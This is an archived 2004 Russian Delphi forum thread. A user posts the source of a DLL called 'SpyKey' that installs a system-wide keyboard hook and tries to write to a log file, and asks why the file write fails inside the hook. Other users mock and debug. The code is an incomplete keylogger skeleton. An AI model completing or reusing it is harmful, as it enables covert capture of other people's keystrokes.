Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];

Вниз

Что-то не то с библиотекой   Найти похожие ветки 

 
Рома   (2004-08-21 13:47) [0]

Здравствуйте все! Буду очень благодарен, если объясните в чём дело. Не получается сделать так, чтобы библиотека записывала строки в файл. При её подключении (sethook) из другой программы  процедура CreateNewFile создаёт новый файл, что и требуется. Однако если запускать эту процедуру из указанного места в программе(после нажатия клавиши), то она ничего не делает. Просто какой-то парадокс. Вот исходник библиотеки:

library SpyKey;
uses Windows, SysUtils, Dialogs;
const FileName="LOG.TXT";
var
 MyHookHandle:Hhook = 0;
 TFile: TextFile;

procedure CreateNewFile;
begin
AssignFile(TFile,FileName);
ReWrite(TFile);
WriteLN(TFile, "Новый файл");
CloseFile(TFile);
end;

function MyCoolHook(Code: integer; wParam: word; lParam: Longint):LongInt;stdCall;
begin

if code<0 then Result := CallNextHookEx(MyHookHandle,Code, wParam, lParam)
else{проверка, какая кнопка нажата}
  begin
  result:=0;

  if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
    (lParam<>lParam or $8000 shl 15) then
    begin
     //CreateNewFile - Почему-то из этого места функция никогда не выполняется!
     ShowMessage("Хм"); {Сообщение показывается при нажатии любой клавиши всегда}
    end;

CallNextHookEx(MyHookHandle,Code, wParam, lParam)//вызываю следующую ловушку
end;{if}

end;

procedure SetHook;stdCall;Export;
begin
//CreateNewFile - А отсюда выполняется нормально  ;
MyHookHandle := SetWindowsHookEx(WH_Keyboard, @MyCoolHook, hInstance, 0);//устанавливаю хук
end;

procedure UnHook;stdCall;Export;
begin
UnhookWindowsHookEx(MyHookHandle);
end;

exports
SetHook,
Unhook;

Begin
end.


 
Profi ©   (2004-08-21 14:11) [1]

Еще один "хакер"!


 
olookin ©   (2004-08-21 14:54) [2]

Наверное, условие

if(code=HC_ACTION)and(lParam<>lParam or $8000 shl 16)and
   (lParam<>lParam or $8000 shl 15) then
   
не выполняется


 
Рома   (2004-08-21 15:06) [3]

Нет, в том то и дело, что это условие прекрасно выполняется, и выводится сообщение "Хм", но функция CreateNewFile, которая должна выполняться перед выводом сообщения, ничего не делает. Вот сижу сейчас и не знаю что делать.



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2004.09.05;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.45 MB
Время: 0.029 c
14-1092635313
Спиридон Скипидаров
2004-08-16 09:48
2004.09.05
http://hitech.compulenta.ru/2004/8/13/49196/


6-1088757109
LEONardo
2004-07-02 12:31
2004.09.05
TclientSocket


8-1087225708
dimon_programmer
2004-06-14 19:08
2004.09.05
Размеры повернутого битмапа


1-1092684475
tgrey
2004-08-16 23:27
2004.09.05
преобразование string в real


3-1092217638
zse
2004-08-11 13:47
2004.09.05
в MS SQL Serv хранимая процедура





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский